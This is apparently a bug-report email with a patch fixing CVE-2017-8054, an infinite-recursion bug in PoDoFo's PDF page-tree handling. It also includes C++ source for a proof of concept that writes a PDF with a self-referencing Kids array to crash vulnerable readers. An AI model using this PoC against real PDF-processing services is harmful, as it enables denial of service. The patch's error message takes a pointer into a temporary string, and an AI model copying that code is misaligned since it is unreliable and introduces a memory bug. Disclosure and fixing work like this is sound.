Hello,

attached is a patch (tested with jessie, I don't use Debian 9/stretch yet) to 
fix CVE-2017-8054.

The source code for a program using PoDoFo to generate the PoC I tested with is 
also attached.

Best regards, Matthias
--- src/doc/PdfPagesTree.cpp	(revision 1793)
+++ src/doc/PdfPagesTree.cpp	(working copy)
@@ -34,6 +34,7 @@
 #include "PdfPagesTree.h"
 
 #include "base/PdfDefinesPrivate.h"
+#include <algorithm>
 
 #include "base/PdfArray.h"
 #include "base/PdfDictionary.h"
@@ -478,7 +479,17 @@ PdfObject* PdfPagesTree::GetPageNodeFrom
         if( rVar.IsArray() ) 
         {
             // Fixes some broken PDFs who have trees with 1 element kids arrays
-            return GetPageNodeFromArray( 0, rVar.GetArray(), rLstParents );
+            // Recursive call removed to prevent stack overflow, replaced by:
+            // all the following inside this conditional, plus restart looping
+            const PdfArray & rVarArray = rVar.GetArray();
+            if (rVarArray.GetSize() == 0)
+            {
+                PdfError::LogMessage( eLogSeverity_Critical, "Trying to access"
+                    " first page index of empty array" );
+                return NULL;
+            }
+            rVar = rVarArray[0];
+            continue;
         }
         else if( !rVar.IsReference() )
         {
@@ -502,6 +513,19 @@ PdfObject* PdfPagesTree::GetPageNodeFrom
             if( !pgObject->GetDictionary().HasKey( "Kids" ) )
                 return NULL;
 
+            if ( std::find( rLstParents.begin(), rLstParents.end(), pgObject )
+                != rLstParents.end() ) // cycle in parent list detected, fend
+            { // off security vulnerability CVE-2017-8054 (infinite recursion)
+                std::ostringstream oss;
+                oss << "Cycle in page tree: child in /Kids array of object "
+                    << ( *(rLstParents.rbegin()) )->Reference().ToString()
+                    << " back-references to object " << pgObject->Reference()
+                    .ToString() << " one of whose descendants the former is.";
+                const char* pszErrorDesc = oss.str().c_str();
+                PODOFO_RAISE_ERROR_INFO( ePdfError_PageNotFound,
+                    pszErrorDesc );
+            }
+
             rLstParents.push_back( pgObject );
             rVar = *(pgObject->GetDictionary().GetKey( "Kids" ));
         } else {
#include "workaround_create_base14.h"
#include <podofo/podofo.h>

using namespace PoDoFo;

void CreatePagesLoopPoC(PdfDocument& doc)
{
    PdfPage* pFirstPage = doc.GetPage( 0 );
    PdfObject* pFirstPageObject = pFirstPage->GetObject();
    PdfObject* pParentObject = pFirstPageObject->MustGetIndirectKey("Parent");
    PdfArray & rParentKidsArray = pParentObject->MustGetIndirectKey("Kids")
                                    ->GetArray();
    rParentKidsArray.insert(rParentKidsArray.begin(),
                            pParentObject->Reference());
    pdf_int64 ll2 = 2; // needed to make the following call unambiguous
    pParentObject->GetDictionary().AddKey("Count", ll2); // 1 original, 1 loop
}

#define FONTNAME "Helvetica"
#define TEXTPOS_X 72.0
#define TEXTPOS_Y 72.0

#define SAMPLE_TEXT "Sample"

void DrawSampleTextOnPage(PdfPage* pPage)
{
    PdfPainter painter;
    painter.SetPage( pPage );

    PdfFont* pFont = PdfFontFactory::CreateBase14Font( FONTNAME, 0,
                        PdfEncodingFactory::GlobalWinAnsiEncodingInstance(),
                        pPage->GetObject()->GetOwner() );
    painter.SetFont( pFont );
    painter.DrawText( TEXTPOS_X, TEXTPOS_Y, PdfString( SAMPLE_TEXT,
                                                pFont->GetEncoding() ));
    painter.FinishPage();
}

#define OUTFILE "my-CVE-2017-8054-PoC.pdf"

int main()
{
    PdfMemDocument doc;
    PdfPage* pPage
        = doc.CreatePage( PdfPage::CreateStandardPageSize( ePdfPageSize_A4 ));

    DrawSampleTextOnPage( pPage );
    CreatePagesLoopPoC( doc );

    doc.Write( OUTFILE );

    return 0;
}

Reply via email to